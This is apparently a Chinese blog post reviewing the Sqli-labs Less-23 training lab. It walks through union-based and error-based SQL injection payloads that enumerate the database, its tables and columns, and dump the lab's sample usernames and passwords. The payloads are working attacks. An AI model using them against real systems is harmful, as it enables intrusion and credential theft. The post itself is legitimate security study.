Sqli-labs 复习 Less23 错误型联合查询 - GET

之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象

Sqli-labs 博客目录

错误型 union 联合查询

原理介绍

  1. sql 语句

    SELECT * FROM users WHERE id=’-1’ union select 1,@@datadir,’3’ limit 0,1

  2. 测试语句

    ?id=-1’union select 1,@@datadir,’3

  3. 为什么要用 id=-1

    因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以 -1 或者超过数据库所有数据都可以。

  4. 如何构造

    -1’ union select 1,@@datadir,’3,第一个’(单引号)闭合 -1,第二个’(单引号)闭合后面的。这样将查询内容显示在 username 处。

  5. 其他注入方法

    此处可以报错注入, 延时注入, 可以利用 ’ or ‘1’=’1 进行闭合。

    报错注入:
    ?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='
    

Less-23 错误型 union 联合查询

  1. 测试

    ?id=1” or 1=1#

  2. 猜数据库

    ?id=-1’ union select 1,(select database() limit 0,1),’3

    结果为 security

  3. 猜表名

    ?id=-1’ union select 1,(select (group_concat(table_name)) from information_schema.tables where table_schema=’security’ limit 0,1),’3

    结果为 emails,referers,uagents,users

  4. 猜列名

    ?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),’3

    结果为 id,username,password

  5. 猜数据

    ?id=-1’ union select 1,(select group_concat(username) from security.users limit 0,1),’3
    ?id=-1’ union select 1,(select group_concat(password) from security.users limit 0,1),’3

    结果为

    username: Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
    password: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
    
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值